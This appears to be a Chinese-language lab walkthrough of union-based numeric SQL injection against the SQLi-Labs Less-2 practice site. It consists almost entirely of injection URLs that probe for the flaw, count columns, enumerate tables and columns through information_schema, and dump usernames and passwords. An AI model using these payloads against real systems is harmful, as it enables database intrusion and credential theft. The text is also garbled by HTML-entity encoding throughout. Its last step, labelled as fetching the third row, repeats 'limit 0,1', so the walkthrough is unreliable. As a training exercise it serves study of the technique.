SQLi数字型注入

使用SQLi-Labs网站的Less-2为入口&＃xff0c;利用联合查询&＃xff08;union select&＃xff09;的方式实施SQL注入&＃xff0c;获取SQLi-Labs网站的登陆用户名和密码

环境&＃xff1a; Windows 10、火狐浏览器、HackBar、SQLi-Labs

1. 进入Less-2

2. 使用HackBar

先定一个GET参数

http://192.168.5.145/sql/Less-2/?id&＃61;1

页面回显id&＃61;1的用户名和密码

3. 判断注入点

&＃xff08;1&＃xff09;http://192.168.5.145/sql/Less-2/?id&＃61;1&＃39;

运行后报错

&＃xff08;2&＃xff09;http://192.168.5.145/sql/Less-2/?id&＃61;1 and 1&＃61;1

运行后正常    从这里可以判断该网站存在数字型的漏洞

&＃xff08;3&＃xff09;http://192.168.5.145/sql/Less-2/?id&＃61;1 and 1&＃61;2

运行后未正常显示

以上步骤可以判断该网站存在数字型注入点 

4. 尝试使用order by 获取网站查询的关键字

&＃xff08;1&＃xff09;http://192.168.5.145/sql/Less-2/?id&＃61;1 order by 1--&＃43;

正常显示  注&＃xff1a;--&＃43; 通- -‘ 用于闭合

&＃xff08;2&＃xff09;http://192.168.5.145/sql/Less-2/?id&＃61;1 order by 2--&＃43;

正常显示

&＃xff08;3) http://192.168.5.145/sql/Less-2/?id&＃61;1 order by 3--&＃43;

正常显示

(4) http://192.168.5.145/sql/Less-2/?id&＃61;1 order by 4--&＃43;

报错

到这里可以判断为&＃xff0c;网站查询的字段数为3

5. 判断网站的回显位置

http://192.168.5.145/sql/Less-2/?id&＃61;1 and 1&＃61;2 union select 1,2,3--&＃43;

执行的结果&＃xff1a; 2和3可以回显

6. 获取网站当前所在数据库的库名

http://192.168.5.145/sql/Less-2/?id&＃61;1 and 1&＃61;2 union select 1,2,database() --&＃43;

执行结果获取到security

7. 获取数据库security的全部表名

http://192.168.5.145/sql/Less-2/?id&＃61;1 and 1&＃61;2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema&＃61;&＃39;security&＃39; --&＃43;

显示结果中&＃xff0c;有一个名为users 的表&＃xff0c;可能会存放网站用户的基本信息

8.  获取users表的全部字段名

http://192.168.5.145/sql/Less-2/?id&＃61;1 and 1&＃61;2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema&＃61;&＃39;security&＃39; and table_name&＃61;&＃39;users&＃39;--&＃43;

显示结果&＃xff0c;users表中有id、username和password三个字段

9. 获取users 表id、username和password字段的全部值

(1) 显示第一组数据

http://192.168.5.145/sql/Less-2/?id&＃61;1 and 1&＃61;2 union select 1,2,concat_ws(&＃39;,&＃39;,id,username,password) from security.users limit 0,1--&＃43;

(2) 显示第二组数据

http://192.168.5.145/sql/Less-2/?id&＃61;1 and 1&＃61;2 union select 1,2,concat_ws(&＃39;,&＃39;,id,username,password) from security.users limit 1,1--&＃43;

(3) 显示第3组数据

http://192.168.5.145/sql/Less-2/?id&＃61;1 and 1&＃61;2 union select 1,2,concat_ws(&＃39;,&＃39;,id,username,password) from security.users limit 0,1--&＃43;